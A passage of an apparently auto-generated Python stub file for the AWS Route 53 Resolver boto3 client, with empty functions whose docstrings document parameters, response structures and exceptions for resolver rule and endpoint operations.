operation twice. CreatorRequestId can be any unique string, for example, a date/time stamp.\n :type Name: string :param Name: A friendly name that lets you easily find a rule in the Resolver dashboard in the Route 53 console. :type RuleType: string :param RuleType: [REQUIRED]\nSpecify FORWARD . Other resolver rule types aren\'t supported.\n :type DomainName: string :param DomainName: [REQUIRED]\nDNS queries for this domain name are forwarded to the IP addresses that you specify in TargetIps . If a query matches multiple resolver rules (example.com and www.example.com), outbound DNS queries are routed using the resolver rule that contains the most specific domain name (www.example.com).\n :type TargetIps: list :param TargetIps: The IPs that you want Resolver to forward DNS queries to. You can specify only IPv4 addresses. Separate IP addresses with a comma.\n\n(dict) --In a CreateResolverRule request, an array of the IPs that you want to forward DNS queries to.\n\nIp (string) -- [REQUIRED]One IP address that you want to forward DNS queries to. You can specify only IPv4 addresses.\n\nPort (integer) --The port at Ip that you want to forward DNS queries to.\n\n\n\n\n :type ResolverEndpointId: string :param ResolverEndpointId: The ID of the outbound resolver endpoint that you want to use to route DNS queries to the IP addresses that you specify in TargetIps . :type Tags: list :param Tags: A list of the tag keys and values that you want to associate with the endpoint.\n\n(dict) --One tag that you want to add to the specified resource. A tag consists of a Key (a name for the tag) and a Value .\n\nKey (string) --The name for the tag. For example, if you want to associate Resolver resources with the account IDs of your customers for billing purposes, the value of Key might be account-id .\n\nValue (string) --The value for the tag. For example, if Key is account-id , then Value might be the ID of the customer account that you\'re creating the resource for.\n\n\n\n\n :rtype: dict ReturnsResponse Syntax { 'ResolverRule': { 'Id': 'string', 'CreatorRequestId': 'string', 'Arn': 'string', 'DomainName': 'string', 'Status': 'COMPLETE'|'DELETING'|'UPDATING'|'FAILED', 'StatusMessage': 'string', 'RuleType': 'FORWARD'|'SYSTEM'|'RECURSIVE', 'Name': 'string', 'TargetIps': [ { 'Ip': 'string', 'Port': 123 }, ], 'ResolverEndpointId': 'string', 'OwnerId': 'string', 'ShareStatus': 'NOT_SHARED'|'SHARED_WITH_ME'|'SHARED_BY_ME' } } Response Structure (dict) -- ResolverRule (dict) -- Information about the CreateResolverRule request, including the status of the request. Id (string) -- The ID that Resolver assigned to the resolver rule when you created it. CreatorRequestId (string) -- A unique string that you specified when you created the resolver rule. CreatorRequestId identifies the request and allows failed requests to be retried without the risk of executing the operation twice. Arn (string) -- The ARN (Amazon Resource Name) for the resolver rule specified by Id . DomainName (string) -- DNS queries for this domain name are forwarded to the IP addresses that are specified in TargetIps . If a query matches multiple resolver rules (example.com and www.example.com), the query is routed using the resolver rule that contains the most specific domain name (www.example.com). Status (string) -- A code that specifies the current status of the resolver rule. StatusMessage (string) -- A detailed description of the status of a resolver rule. RuleType (string) -- This value is always FORWARD . Other resolver rule types aren\'t supported. Name (string) -- The name for the resolver rule, which you specified when you created the resolver rule. TargetIps (list) -- An array that contains the IP addresses and ports that you want to forward (dict) -- In a CreateResolverRule request, an array of the IPs that you want to forward DNS queries to. Ip (string) -- One IP address that you want to forward DNS queries to. You can specify only IPv4 addresses. Port (integer) -- The port at Ip that you want to forward DNS queries to. ResolverEndpointId (string) -- The ID of the endpoint that the rule is associated with. OwnerId (string) -- When a rule is shared with another AWS account, the account ID of the account that the rule is shared with. ShareStatus (string) -- Whether the rules is shared and, if so, whether the current account is sharing the rule with another account, or another account is sharing the rule with the current account. Exceptions Route53Resolver.Client.exceptions.InvalidParameterException Route53Resolver.Client.exceptions.InvalidRequestException Route53Resolver.Client.exceptions.LimitExceededException Route53Resolver.Client.exceptions.ResourceNotFoundException Route53Resolver.Client.exceptions.ResourceExistsException Route53Resolver.Client.exceptions.ResourceUnavailableException Route53Resolver.Client.exceptions.InternalServiceErrorException Route53Resolver.Client.exceptions.ThrottlingException :return: { 'ResolverRule': { 'Id': 'string', 'CreatorRequestId': 'string', 'Arn': 'string', 'DomainName': 'string', 'Status': 'COMPLETE'|'DELETING'|'UPDATING'|'FAILED', 'StatusMessage': 'string', 'RuleType': 'FORWARD'|'SYSTEM'|'RECURSIVE', 'Name': 'string', 'TargetIps': [ { 'Ip': 'string', 'Port': 123 }, ], 'ResolverEndpointId': 'string', 'OwnerId': 'string', 'ShareStatus': 'NOT_SHARED'|'SHARED_WITH_ME'|'SHARED_BY_ME' } } :returns: Route53Resolver.Client.exceptions.InvalidParameterException Route53Resolver.Client.exceptions.InvalidRequestException Route53Resolver.Client.exceptions.LimitExceededException Route53Resolver.Client.exceptions.ResourceNotFoundException Route53Resolver.Client.exceptions.ResourceExistsException Route53Resolver.Client.exceptions.ResourceUnavailableException Route53Resolver.Client.exceptions.InternalServiceErrorException Route53Resolver.Client.exceptions.ThrottlingException """ pass def delete_resolver_endpoint(ResolverEndpointId=None): """ Deletes a resolver endpoint. The effect of deleting a resolver endpoint depends on whether it\'s an inbound or an outbound resolver endpoint: See also: AWS API Documentation Exceptions :example: response = client.delete_resolver_endpoint( ResolverEndpointId='string' ) :type ResolverEndpointId: string :param ResolverEndpointId: [REQUIRED]\nThe ID of the resolver endpoint that you want to delete.\n :rtype: dict ReturnsResponse Syntax{ 'ResolverEndpoint': { 'Id': 'string', 'CreatorRequestId': 'string', 'Arn': 'string', 'Name': 'string', 'SecurityGroupIds': [ 'string', ], 'Direction': 'INBOUND'|'OUTBOUND', 'IpAddressCount': 123, 'HostVPCId': 'string', 'Status': 'CREATING'|'OPERATIONAL'|'UPDATING'|'AUTO_RECOVERING'|'ACTION_NEEDED'|'DELETING', 'StatusMessage': 'string', 'CreationTime': 'string', 'ModificationTime': 'string' } } Response Structure (dict) -- ResolverEndpoint (dict) --Information about the DeleteResolverEndpoint request, including the status of the request. Id (string) --The ID of the resolver endpoint. CreatorRequestId (string) --A unique string that identifies the request that created the resolver endpoint. The CreatorRequestId allows failed requests to be retried without the risk of executing the operation twice. Arn (string) --The ARN (Amazon Resource Name) for the resolver endpoint. Name (string) --The name that you assigned to the resolver endpoint when you submitted a CreateResolverEndpoint request. SecurityGroupIds (list) --The ID of one or more security groups that control access to this VPC. The security group must include one or more inbound resolver rules. (string) -- Direction (string) --Indicates whether the resolver endpoint allows inbound or outbound DNS queries: INBOUND : allows DNS queries to your VPC from your network or another VPC OUTBOUND : allows DNS queries from your VPC to your network or another VPC IpAddressCount (integer) --The number of IP addresses that the resolver endpoint can use for DNS queries. HostVPCId (string) --The ID of the VPC that you want to create the resolver endpoint in. Status (string) --A code that specifies the current status of the resolver endpoint. StatusMessage (string) --A detailed description of the status of the resolver endpoint. CreationTime (string) --The date and time that the endpoint was created, in Unix time format and Coordinated Universal Time (UTC). ModificationTime (string) --The date and time that the endpoint was last modified, in Unix time format and Coordinated Universal Time (UTC). Exceptions Route53Resolver.Client.exceptions.ResourceNotFoundException Route53Resolver.Client.exceptions.InvalidParameterException Route53Resolver.Client.exceptions.InvalidRequestException Route53Resolver.Client.exceptions.InternalServiceErrorException Route53Resolver.Client.exceptions.ThrottlingException :return: { 'ResolverEndpoint': { 'Id': 'string', 'CreatorRequestId': 'string', 'Arn': 'string', 'Name': 'string', 'SecurityGroupIds': [ 'string', ], 'Direction': 'INBOUND'|'OUTBOUND', 'IpAddressCount': 123, 'HostVPCId': 'string', 'Status': 'CREATING'|'OPERATIONAL'|'UPDATING'|'AUTO_RECOVERING'|'ACTION_NEEDED'|'DELETING', 'StatusMessage': 'string', 'CreationTime': 'string', 'ModificationTime': 'string' } } :returns: (string) -- """ pass def delete_resolver_rule(ResolverRuleId=None): """ Deletes a resolver rule. Before you can delete a resolver rule, you must disassociate it from all the VPCs that you associated the resolver rule with. For more infomation, see DisassociateResolverRule . See also: AWS API Documentation Exceptions :example: response = client.delete_resolver_rule( ResolverRuleId='string' ) :type ResolverRuleId: string :param ResolverRuleId: [REQUIRED]\nThe ID of the resolver rule that you want to delete.\n :rtype: dict ReturnsResponse Syntax{ 'ResolverRule': { 'Id': 'string', 'CreatorRequestId': 'string', 'Arn': 'string', 'DomainName': 'string', 'Status': 'COMPLETE'|'DELETING'|'UPDATING'|'FAILED', 'StatusMessage': 'string', 'RuleType': 'FORWARD'|'SYSTEM'|'RECURSIVE', 'Name': 'string', 'TargetIps': [ { 'Ip': 'string', 'Port': 123 }, ], 'ResolverEndpointId': 'string', 'OwnerId': 'string', 'ShareStatus': 'NOT_SHARED'|'SHARED_WITH_ME'|'SHARED_BY_ME' } } Response Structure (dict) -- ResolverRule (dict) --Information about the DeleteResolverRule request, including the status of the request. Id (string) --The ID that Resolver assigned to the resolver rule when you created it. CreatorRequestId (string) --A unique string that you specified when you created the resolver rule. CreatorRequestId identifies the request and allows failed requests to be retried without the risk of executing the operation twice. Arn (string) --The ARN (Amazon Resource Name) for the resolver rule specified by Id . DomainName (string) --DNS queries for this domain name are forwarded to the IP addresses that are specified in TargetIps . If a query matches multiple resolver rules (example.com and www.example.com), the query is routed using the resolver rule that contains the most specific domain name (www.example.com). Status (string) --A code that specifies the current status of the resolver rule. StatusMessage (string) --A detailed description of the status of a resolver rule. RuleType (string) --This value is always FORWARD . Other resolver rule types aren\'t supported. Name (string) --The name for the resolver rule, which you specified when you created the resolver rule. TargetIps (list) --An array that contains the IP addresses and ports that you want to forward (dict) --In a CreateResolverRule request, an array of the IPs that you want to forward DNS queries to. Ip (string) --One IP address that you want to forward DNS queries to. You can specify only IPv4 addresses. Port (integer) --The port at Ip that you want to forward DNS queries to. ResolverEndpointId (string) --The ID of the endpoint that the rule is associated with. OwnerId (string) --When a rule is shared with another AWS account, the account ID of the account that the rule is shared with. ShareStatus (string) --Whether the rules is shared and, if so, whether the current account is sharing the rule with another account, or another account is sharing the rule with the current account. Exceptions Route53Resolver.Client.exceptions.InvalidParameterException Route53Resolver.Client.exceptions.ResourceNotFoundException Route53Resolver.Client.exceptions.ResourceInUseException Route53Resolver.Client.exceptions.InternalServiceErrorException Route53Resolver.Client.exceptions.ThrottlingException :return: { 'ResolverRule': { 'Id': 'string', 'CreatorRequestId': 'string', 'Arn': 'string', 'DomainName': 'string', 'Status': 'COMPLETE'|'DELETING'|'UPDATING'|'FAILED', 'StatusMessage': 'string', 'RuleType': 'FORWARD'|'SYSTEM'|'RECURSIVE', 'Name': 'string', 'TargetIps': [ { 'Ip': 'string', 'Port': 123 }, ], 'ResolverEndpointId': 'string', 'OwnerId': 'string', 'ShareStatus': 'NOT_SHARED'|'SHARED_WITH_ME'|'SHARED_BY_ME' } } """ pass def disassociate_resolver_endpoint_ip_address(ResolverEndpointId=None, IpAddress=None): """ Removes IP addresses from an inbound or an outbound resolver endpoint. If you want to remove more than one IP address, submit one DisassociateResolverEndpointIpAddress request for each IP address. To add an IP address to an endpoint, see AssociateResolverEndpointIpAddress . See also: AWS API Documentation Exceptions :example: response = client.disassociate_resolver_endpoint_ip_address( ResolverEndpointId='string', IpAddress={ 'IpId': 'string', 'SubnetId': 'string', 'Ip': 'string' } ) :type ResolverEndpointId: string :param ResolverEndpointId: [REQUIRED]\nThe ID of the resolver endpoint that you want to disassociate an IP address from.\n :type IpAddress: dict :param IpAddress: [REQUIRED]\nThe IPv4 address that you want to remove from a resolver endpoint.\n\nIpId (string) --\nOnly when removing an IP address from a resolver endpoint : The ID of the IP address that you want to remove. To get this ID, use GetResolverEndpoint .\n\nSubnetId (string) --The ID of the subnet that includes the IP address that you want to update. To get this ID, use GetResolverEndpoint .\n\nIp (string) --The new IP address.\n\n\n :rtype: dict ReturnsResponse Syntax { 'ResolverEndpoint': { 'Id': 'string', 'CreatorRequestId': 'string', 'Arn': 'string', 'Name': 'string', 'SecurityGroupIds': [ 'string', ], 'Direction': 'INBOUND'|'OUTBOUND', 'IpAddressCount': 123, 'HostVPCId': 'string', 'Status': 'CREATING'|'OPERATIONAL'|'UPDATING'|'AUTO_RECOVERING'|'ACTION_NEEDED'|'DELETING', 'StatusMessage': 'string', 'CreationTime': 'string', 'ModificationTime': 'string' } } Response Structure (dict) -- ResolverEndpoint (dict) -- The response to an DisassociateResolverEndpointIpAddress request. Id (string) -- The ID of the resolver endpoint. CreatorRequestId (string) -- A unique string that identifies the request that created the resolver endpoint. The CreatorRequestId allows failed requests to be retried without the risk of executing the operation twice. Arn (string) -- The ARN (Amazon Resource Name) for the resolver endpoint. Name (string) -- The name that you assigned to the resolver endpoint when you submitted a CreateResolverEndpoint request. SecurityGroupIds (list) -- The ID of one or more security groups that control access to this VPC. The security group must include one or more inbound resolver rules. (string) -- Direction (string) -- Indicates whether the resolver endpoint allows inbound or outbound DNS queries: INBOUND : allows DNS queries to your VPC from your network or another VPC OUTBOUND : allows DNS queries from your VPC to your network or another VPC IpAddressCount (integer) -- The number of IP addresses that the resolver endpoint can use for DNS queries. HostVPCId (string) -- The ID of the VPC that you want to create the resolver endpoint in. Status (string) -- A code that specifies the current status of the resolver endpoint. StatusMessage (string) -- A detailed description of the status of the resolver endpoint. CreationTime (string) -- The date and time that the endpoint was created, in Unix time format and Coordinated Universal Time (UTC). ModificationTime (string) -- The date and time that the endpoint was last modified, in Unix time format and Coordinated Universal Time (UTC). Exceptions Route53Resolver.Client.exceptions.ResourceNotFoundException Route53Resolver.Client.exceptions.InvalidParameterException Route53Resolver.Client.exceptions.InvalidRequestException Route53Resolver.Client.exceptions.ResourceExistsException Route53Resolver.Client.exceptions.InternalServiceErrorException Route53Resolver.Client.exceptions.ThrottlingException :return: { 'ResolverEndpoint': { 'Id': 'string', 'CreatorRequestId': 'string', 'Arn': 'string', 'Name': 'string', 'SecurityGroupIds': [ 'string', ], 'Direction': 'INBOUND'|'OUTBOUND', 'IpAddressCount': 123, 'HostVPCId': 'string', 'Status': 'CREATING'|'OPERATIONAL'|'UPDATING'|'AUTO_RECOVERING'|'ACTION_NEEDED'|'DELETING', 'StatusMessage': 'string', 'CreationTime': 'string', 'ModificationTime': 'string' } } :returns: (string) -- """ pass def disassociate_resolver_rule(VPCId=None, ResolverRuleId=None): """ Removes the association between a specified resolver rule and a specified VPC. See also: AWS API Documentation Exceptions :example: response = client.disassociate_resolver_rule( VPCId='string', ResolverRuleId='string' ) :type VPCId: string :param VPCId: [REQUIRED]\nThe ID of the VPC that you want to disassociate the resolver rule from.\n :type ResolverRuleId: string :param ResolverRuleId: [REQUIRED]\nThe ID of the resolver rule that you want to disassociate from the specified VPC.\n :rtype: dict ReturnsResponse Syntax { 'ResolverRuleAssociation': { 'Id': 'string', 'ResolverRuleId': 'string', 'Name': 'string', 'VPCId': 'string', 'Status': 'CREATING'|'COMPLETE'|'DELETING'|'FAILED'|'OVERRIDDEN', 'StatusMessage': 'string' } } Response Structure (dict) -- ResolverRuleAssociation (dict) -- Information about the DisassociateResolverRule request, including the status of the request. Id (string) -- The ID of the association between a resolver rule and a VPC. Resolver assigns this value when you submit an AssociateResolverRule request. ResolverRuleId (string) -- The ID of the resolver rule that you associated with the VPC that is specified by VPCId . Name (string) -- The name of an association between a resolver rule and a VPC. VPCId (string) -- The ID of the VPC that you associated the resolver rule with. Status (string) -- A code that specifies the current status of the association between a resolver rule and a VPC. StatusMessage (string) -- A detailed description of the status of the association between a resolver rule and a VPC. Exceptions Route53Resolver.Client.exceptions.ResourceNotFoundException Route53Resolver.Client.exceptions.InvalidParameterException Route53Resolver.Client.exceptions.InternalServiceErrorException Route53Resolver.Client.exceptions.ThrottlingException :return: { 'ResolverRuleAssociation': { 'Id': 'string', 'ResolverRuleId': 'string', 'Name': 'string', 'VPCId': 'string', 'Status': 'CREATING'|'COMPLETE'|'DELETING'|'FAILED'|'OVERRIDDEN', 'StatusMessage': 'string' } } :returns: Route53Resolver.Client.exceptions.ResourceNotFoundException Route53Resolver.Client.exceptions.InvalidParameterException Route53Resolver.Client.exceptions.InternalServiceErrorException Route53Resolver.Client.exceptions.ThrottlingException """ pass def generate_presigned_url(ClientMethod=None, Params=None, ExpiresIn=None, HttpMethod=None): """ Generate a presigned url given a client, its method, and arguments :type ClientMethod: string :param ClientMethod: The client method to presign for :type Params: dict :param Params: The parameters normally passed to\nClientMethod. :type ExpiresIn: int :param ExpiresIn: The number of seconds the presigned url is valid\nfor. By default it expires in an hour (3600 seconds) :type HttpMethod: string :param HttpMethod: The http method to use on the generated url. By\ndefault, the http method is whatever is used in the method\'s model. """ pass def get_paginator(operation_name=None): """ Create a paginator for an operation. :type operation_name: string :param operation_name: The operation name. This is the same name\nas the method name on the client. For example, if the\nmethod name is create_foo, and you\'d normally invoke the\noperation as client.create_foo(**kwargs), if the\ncreate_foo operation can be paginated, you can use the\ncall client.get_paginator('create_foo'). :rtype: L{botocore.paginate.Paginator} ReturnsA paginator object. """ pass def get_resolver_endpoint(ResolverEndpointId=None): """ Gets information about a specified resolver endpoint, such as whether it\'s an inbound or an outbound resolver endpoint, and the current status of the endpoint. See also: AWS API Documentation Exceptions :example: response = client.get_resolver_endpoint( ResolverEndpointId='string' ) :type ResolverEndpointId: string :param ResolverEndpointId: [REQUIRED]\nThe ID of the resolver endpoint that you want to get information about.\n :rtype: dict ReturnsResponse Syntax{ 'ResolverEndpoint': { 'Id': 'string', 'CreatorRequestId': 'string', 'Arn': 'string', 'Name': 'string', 'SecurityGroupIds': [ 'string', ], 'Direction': 'INBOUND'|'OUTBOUND', 'IpAddressCount': 123, 'HostVPCId': 'string', 'Status': 'CREATING'|'OPERATIONAL'|'UPDATING'|'AUTO_RECOVERING'|'ACTION_NEEDED'|'DELETING', 'StatusMessage': 'string', 'CreationTime': 'string', 'ModificationTime': 'string' } } Response Structure (dict) -- ResolverEndpoint (dict) --Information about the resolver endpoint that you specified in a GetResolverEndpoint request. Id (string) --The ID of the resolver endpoint. CreatorRequestId (string) --A unique string that identifies the request that created the resolver endpoint. The CreatorRequestId allows failed requests to be retried without the risk of executing the operation twice. Arn (string) --The ARN (Amazon Resource Name) for the resolver endpoint. Name (string) --The name that you assigned to the resolver endpoint when you submitted a CreateResolverEndpoint request. SecurityGroupIds (list) --The ID of one or more security groups that control access to this VPC. The security group must include one or more inbound resolver rules. (string) -- Direction (string) --Indicates whether the resolver endpoint allows inbound or outbound DNS queries: INBOUND : allows DNS queries to your VPC from your network or another VPC OUTBOUND : allows DNS queries from your VPC to your network or another VPC IpAddressCount (integer) --The number of IP addresses that the resolver endpoint can use for DNS queries. HostVPCId (string) --The ID of the VPC that you want to create the resolver endpoint in. Status (string) --A code that specifies the current status of the resolver endpoint. StatusMessage (string) --A detailed description of the status of the resolver endpoint. CreationTime (string) --The date and time that the endpoint was created, in Unix time format and Coordinated Universal Time (UTC). ModificationTime (string) --The date and time that the endpoint was last modified, in Unix time format and Coordinated Universal Time (UTC). Exceptions Route53Resolver.Client.exceptions.ResourceNotFoundException Route53Resolver.Client.exceptions.InvalidParameterException Route53Resolver.Client.exceptions.InternalServiceErrorException Route53Resolver.Client.exceptions.ThrottlingException :return: { 'ResolverEndpoint': { 'Id': 'string', 'CreatorRequestId': 'string', 'Arn': 'string', 'Name': 'string', 'SecurityGroupIds': [ 'string', ], 'Direction': 'INBOUND'|'OUTBOUND', 'IpAddressCount': 123, 'HostVPCId': 'string', 'Status': 'CREATING'|'OPERATIONAL'|'UPDATING'|'AUTO_RECOVERING'|'ACTION_NEEDED'|'DELETING', 'StatusMessage': 'string', 'CreationTime': 'string', 'ModificationTime': 'string' } } :returns: INBOUND : allows DNS queries to your VPC from your network or another VPC OUTBOUND : allows DNS queries from your VPC to your network or another VPC """ pass def get_resolver_rule(ResolverRuleId=None): """ Gets information about a specified resolver rule, such as the domain name that the rule forwards DNS queries for and the ID of the outbound resolver endpoint that the rule is associated with. See also: AWS API Documentation Exceptions :example: response = client.get_resolver_rule( ResolverRuleId='string' ) :type ResolverRuleId: string :param ResolverRuleId: [REQUIRED]\nThe ID of the resolver rule that you want to get information about.\n :rtype: dict ReturnsResponse Syntax{ 'ResolverRule': { 'Id': 'string', 'CreatorRequestId': 'string', 'Arn': 'string', 'DomainName': 'string', 'Status': 'COMPLETE'|'DELETING'|'UPDATING'|'FAILED', 'StatusMessage': 'string', 'RuleType': 'FORWARD'|'SYSTEM'|'RECURSIVE', 'Name': 'string', 'TargetIps': [ { 'Ip': 'string', 'Port': 123 }, ], 'ResolverEndpointId': 'string', 'OwnerId': 'string', 'ShareStatus': 'NOT_SHARED'|'SHARED_WITH_ME'|'SHARED_BY_ME' } } Response Structure (dict) -- ResolverRule (dict) --Information about the resolver rule that you specified in a GetResolverRule request. Id (string) --The ID that Resolver assigned to the resolver rule when you created it. CreatorRequestId (string) --A unique string that you specified when you created the resolver rule. CreatorRequestId identifies the request and allows failed requests to be retried without the risk of executing the operation twice. Arn (string) --The ARN (Amazon Resource Name) for the resolver rule specified by Id . DomainName (string) --DNS queries for this domain name are forwarded to the IP addresses that are specified in TargetIps . If a query matches multiple resolver rules (example.com and www.example.com), the query is routed using the resolver rule that contains the most specific domain name (www.example.com). Status (string) --A code that specifies the current status of the resolver rule. StatusMessage (string) --A detailed description of the status of a resolver rule. RuleType (string) --This value is always FORWARD . Other resolver rule types aren\'t supported. Name (string) --The name for the resolver rule, which you specified when you created the resolver rule. TargetIps (list) --An array that contains the IP addresses and ports that you want to forward (dict) --In a CreateResolverRule request, an array of the IPs that you want to forward DNS queries to. Ip (string) --One IP address that you want to forward DNS queries to. You can specify only IPv4 addresses. Port (integer) --The port at Ip that you want to forward DNS queries to. ResolverEndpointId (string) --The ID of the endpoint that the rule is associated with. OwnerId (string) --When a rule is shared with another AWS account, the account ID of the account that the rule is shared with. ShareStatus (string) --Whether the rules is shared and, if so, whether the current account is sharing the rule with another account, or another account is sharing the rule with the current account. Exceptions Route53Resolver.Client.exceptions.ResourceNotFoundException Route53Resolver.Client.exceptions.InvalidParameterException Route53Resolver.Client.exceptions.InternalServiceErrorException Route53Resolver.Client.exceptions.ThrottlingException :return: { 'ResolverRule': { 'Id': 'string', 'CreatorRequestId': 'string', 'Arn': 'string', 'DomainName': 'string', 'Status': 'COMPLETE'|'DELETING'|'UPDATING'|'FAILED', 'StatusMessage': 'string', 'RuleType': 'FORWARD'|'SYSTEM'|'RECURSIVE', 'Name': 'string', 'TargetIps': [ { 'Ip': 'string', 'Port': 123 }, ], 'ResolverEndpointId': 'string', 'OwnerId': 'string', 'ShareStatus': 'NOT_SHARED'|'SHARED_WITH_ME'|'SHARED_BY_ME' } } """ pass def get_resolver_rule_association(ResolverRuleAssociationId=None): """ Gets information about an association between a specified resolver rule and a VPC. You associate a resolver rule and a VPC using AssociateResolverRule . See also: AWS API Documentation Exceptions :example: response = client.get_resolver_rule_association( ResolverRuleAssociationId='string' ) :type ResolverRuleAssociationId: string :param ResolverRuleAssociationId: [REQUIRED]\nThe ID of the resolver rule association that you want to get information about.\n :rtype: dict ReturnsResponse Syntax{ 'ResolverRuleAssociation': { 'Id': 'string', 'ResolverRuleId': 'string', 'Name': 'string', 'VPCId': 'string', 'Status': 'CREATING'|'COMPLETE'|'DELETING'|'FAILED'|'OVERRIDDEN', 'StatusMessage': 'string' } } Response Structure (dict) -- ResolverRuleAssociation (dict) --Information about the resolver rule association that you specified in a GetResolverRuleAssociation request. Id (string) --The ID of the association between a resolver rule and a VPC. Resolver assigns this value when you submit an AssociateResolverRule request. ResolverRuleId (string) --The ID of the resolver rule that you associated with the VPC that is specified by VPCId . Name (string) --The name of an association between a resolver rule and a VPC. VPCId (string) --The ID of the VPC that you associated the resolver rule with. Status (string) --A code that specifies the current status of the association between a resolver rule and a VPC. StatusMessage (string) --A detailed description of the status of the association between a resolver rule and a VPC. Exceptions Route53Resolver.Client.exceptions.ResourceNotFoundException Route53Resolver.Client.exceptions.InvalidParameterException Route53Resolver.Client.exceptions.InternalServiceErrorException Route53Resolver.Client.exceptions.ThrottlingException :return: { 'ResolverRuleAssociation': { 'Id': 'string', 'ResolverRuleId': 'string', 'Name': 'string', 'VPCId': 'string', 'Status': 'CREATING'|'COMPLETE'|'DELETING'|'FAILED'|'OVERRIDDEN', 'StatusMessage': 'string' } } """ pass def get_resolver_rule_policy(Arn=None): """ Gets information about a resolver rule policy. A resolver rule policy specifies the Resolver operations and resources that you want to allow another AWS account to be able to use. See also: AWS API Documentation Exceptions :example: response = client.get_resolver_rule_policy( Arn='string' ) :type Arn: string :param Arn: [REQUIRED]\nThe ID of the resolver rule policy that you want to get information about.\n :rtype: dict ReturnsResponse Syntax{ 'ResolverRulePolicy': 'string' } Response Structure (dict) -- ResolverRulePolicy (string) --Information about the resolver rule policy that you specified in a GetResolverRulePolicy request. Exceptions Route53Resolver.Client.exceptions.InvalidParameterException Route53Resolver.Client.exceptions.UnknownResourceException Route53Resolver.Client.exceptions.InternalServiceErrorException :return: { 'ResolverRulePolicy': 'string' } """ pass def get_waiter(waiter_name=None): """ Returns an object that can wait for some condition. :type waiter_name: str :param waiter_name: The name of the waiter to get. See the waiters\nsection of the service docs for a list of available waiters. :rtype: botocore.waiter.Waiter """ pass def list_resolver_endpoint_ip_addresses(ResolverEndpointId=None, MaxResults=None, NextToken=None): """ Gets the IP addresses for a specified resolver endpoint. See also: AWS API Documentation Exceptions :example: response = client.list_resolver_endpoint_ip_addresses( ResolverEndpointId='string', MaxResults=123, NextToken='string' ) :type ResolverEndpointId: string :param ResolverEndpointId: [REQUIRED]\nThe ID of the resolver endpoint that you want to get IP addresses for.\n :type MaxResults: integer :param MaxResults: The maximum number of IP addresses that you want to return in the response to a ListResolverEndpointIpAddresses request. If you don\'t specify a value for MaxResults , Resolver returns up to 100 IP addresses. :type NextToken: string :param NextToken: For the first ListResolverEndpointIpAddresses request, omit this value.\nIf the specified resolver endpoint has more than MaxResults IP addresses, you can submit another ListResolverEndpointIpAddresses request to get the next group of IP addresses. In the next request, specify the value of NextToken from the previous response.\n :rtype: dict ReturnsResponse Syntax { 'NextToken': 'string', 'MaxResults': 123, 'IpAddresses': [ { 'IpId': 'string', 'SubnetId': 'string', 'Ip': 'string', 'Status': 'CREATING'|'FAILED_CREATION'|'ATTACHING'|'ATTACHED'|'REMAP_DETACHING'|'REMAP_ATTACHING'|'DETACHING'|'FAILED_RESOURCE_GONE'|'DELETING'|'DELETE_FAILED_FAS_EXPIRED', 'StatusMessage': 'string', 'CreationTime': 'string', 'ModificationTime': 'string' }, ] } Response Structure (dict) -- NextToken (string) -- If the specified endpoint has more than MaxResults IP addresses, you can submit another ListResolverEndpointIpAddresses request to get the next group of IP addresses. In the next request, specify the value of NextToken from the previous response. MaxResults (integer) -- The value that you specified for MaxResults in the request. IpAddresses (list) -- The IP addresses that DNS queries pass through on their way to your network (outbound endpoint) or on the way to Resolver (inbound endpoint). (dict) -- In the response to a GetResolverEndpoint request, information about the IP addresses that the resolver endpoint uses for DNS queries. IpId (string) -- The ID of one IP address. SubnetId (string) -- The ID of one subnet. Ip (string) -- One IP address that the resolver endpoint uses for DNS queries. Status (string) -- A status code that gives the current status of the request. StatusMessage (string) -- A message that provides additional information about the status of the request. CreationTime (string) -- The date and time that the IP address was created, in Unix time format and Coordinated Universal Time (UTC). ModificationTime (string) -- The date and time that the IP address was last modified, in Unix time format and Coordinated Universal Time (UTC). Exceptions Route53Resolver.Client.exceptions.ResourceNotFoundException Route53Resolver.Client.exceptions.InvalidParameterException Route53Resolver.Client.exceptions.InternalServiceErrorException Route53Resolver.Client.exceptions.InvalidNextTokenException Route53Resolver.Client.exceptions.ThrottlingException :return: { 'NextToken': 'string', 'MaxResults': 123, 'IpAddresses': [ { 'IpId': 'string', 'SubnetId': 'string', 'Ip': 'string', 'Status': 'CREATING'|'FAILED_CREATION'|'ATTACHING'|'ATTACHED'|'REMAP_DETACHING'|'REMAP_ATTACHING'|'DETACHING'|'FAILED_RESOURCE_GONE'|'DELETING'|'DELETE_FAILED_FAS_EXPIRED', 'StatusMessage': 'string', 'CreationTime': 'string', 'ModificationTime': 'string' }, ] } :returns: Route53Resolver.Client.exceptions.ResourceNotFoundException Route53Resolver.Client.exceptions.InvalidParameterException Route53Resolver.Client.exceptions.InternalServiceErrorException Route53Resolver.Client.exceptions.InvalidNextTokenException Route53Resolver.Client.exceptions.ThrottlingException """ pass def list_resolver_endpoints(MaxResults=None, NextToken=None, Filters=None): """ Lists all the resolver endpoints that were created using the current AWS account. See also: AWS API Documentation Exceptions :example: response = client.list_resolver_endpoints( MaxResults=123, NextToken='string', Filters=[ { 'Name': 'string', 'Values': [ 'string', ] }, ] ) :type MaxResults: integer :param MaxResults: The maximum number of resolver endpoints that you want to return in the response to a ListResolverEndpoints request. If you don\'t specify a value for MaxResults , Resolver returns up to 100 resolver endpoints. :type NextToken: string :param NextToken: For the first ListResolverEndpoints request, omit this value.\nIf you have more than MaxResults resolver endpoints, you can submit another ListResolverEndpoints request to get the next group of resolver endpoints. In the next request, specify the value of NextToken from the previous response.\n :type Filters: list :param Filters: An optional specification to return a subset of resolver endpoints, such as all inbound resolver endpoints.\n\nNote\nIf you submit a second or subsequent ListResolverEndpoints request and specify the NextToken parameter, you must use the same values for Filters , if any, as in the previous request.\n\n\n(dict) --For List operations, an optional specification to return a subset of objects, such as resolver endpoints or resolver rules.\n\nName (string) --When you\'re using a List operation and you want the operation to return a subset of objects, such as resolver endpoints or resolver rules, the name of the parameter that you want to use to filter objects. For example, to list only inbound resolver endpoints, specify Direction for the value of Name .\n\nValues (list) --When you\'re using a List operation and you want the operation to return a subset of objects, such as resolver endpoints or resolver rules, the value of the parameter that you want to use to filter objects. For example, to list only inbound resolver endpoints, specify INBOUND for the value of Values .\n\n(string) --\n\n\n\n\n\n :rtype: dict ReturnsResponse Syntax { 'NextToken': 'string', 'MaxResults': 123, 'ResolverEndpoints': [ { 'Id': 'string', 'CreatorRequestId': 'string', 'Arn': 'string', 'Name': 'string', 'SecurityGroupIds': [ 'string', ], 'Direction': 'INBOUND'|'OUTBOUND', 'IpAddressCount': 123, 'HostVPCId': 'string', 'Status': 